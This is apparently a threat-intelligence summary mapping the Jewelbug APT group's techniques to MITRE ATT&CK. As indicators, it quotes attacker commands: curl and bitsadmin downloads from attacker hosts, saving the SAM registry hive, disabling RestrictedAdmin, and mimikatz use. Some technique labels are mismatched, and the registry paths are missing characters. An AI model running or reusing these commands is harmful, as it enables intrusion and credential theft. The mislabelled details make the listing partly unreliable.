Jewelbug: Chinese APT Group Widens Reach to Russia

MITRE Techniques

• [T1059 ] Command and Scripting Interpreter – Used to run commands and scripting on victim hosts (examples: “curl https://app.blance.workers.dev/png”, “reg save HKLMSAM CSIDL_COMMON_PICTURESsam.hive”).
• [T1204 ] User Execution – Deployment of legitimate binaries and renamed tools (e.g., 7zup.exe as renamed cdb.exe) to execute payloads and bypass controls. Quote: ‘appearance of a file named 7zup.exe … which is a renamed copy of cdb.exe’
• [T1574 ] Hijack Execution Flow (DLL Sideloading) – Legitimate executables used for DLL sideloading (e.g., cyglaunch.exe, crclient.dll) to load malicious payloads. Quote: ‘used a legitimate executable for DLL sideloading’
• [T1218 ] Signed Binary Proxy Execution (Living off the Land) – Abuse of Microsoft-signed CDB (cdb.exe) to run shellcode, launch executables, run DLLs and terminate security solutions. Quote: ‘CDB can be used to run shellcode and bypass application whitelisting.’
• [T1005 ] Data from Local System – Collection of file lists and system metadata (IP, Windows version, hostname, machine identifier) and uploading to OneDrive. Quote: ‘Obtains a list of files from targeted machines and uploads this to OneDrive’
• [T1105 ] Ingress Tool Transfer – Downloading tools and payloads via curl and BITSAdmin (e.g., “bitsadmin /transfer myJob /download …”, “curl -k https://95.164.5.209/png”) to bring tools onto victim networks.
• [T1078 ] Valid Accounts – Attempts to add users and use legitimate remote management tools (AnyDesk) and scheduled tasks for persistence and remote access. Quote: ‘attempted to add a new user … used the legitimate AnyDesk remote management software’
• [T1112 ] Modify Registry – Registry edits to alter local policies (e.g., ‘REG ADD “HKLMSystemCurrentControlSetControlLsa” /v DisableRestrictedAdmin /t REG_DWORD /d 00000000’).
• [T1056 ] Input Capture / Credential Dumping (LSASS/Mimikatz) – Use of LSASS dumping and Mimikatz to harvest credentials; command reference: ‘mimikatz.x64.exe’.
• [T1497 ] Virtualization/Sandbox Evasion – Use of VM-related DLLs and tools (vmwarebase.dll, vmware-authd.exe) and manipulating outputs to ADMIN$ shares indicating attempts to hide or redirect execution artifacts.
• [T1537 ] Transfer Data to Cloud Account – Use of Microsoft Graph API and OneDrive for C2 and exfiltration, minimizing traditional network indicators. Quote: ‘leverages Microsoft Graph API and OneDrive as its command and control (C&C) servers.’
• [T1210 ] Exploitation of Remote Services / Web Shells – Prior reporting noted exploitation of IIS servers and deployment of webshells to gain initial access and persistence (described in Elastic and Palo Alto findings).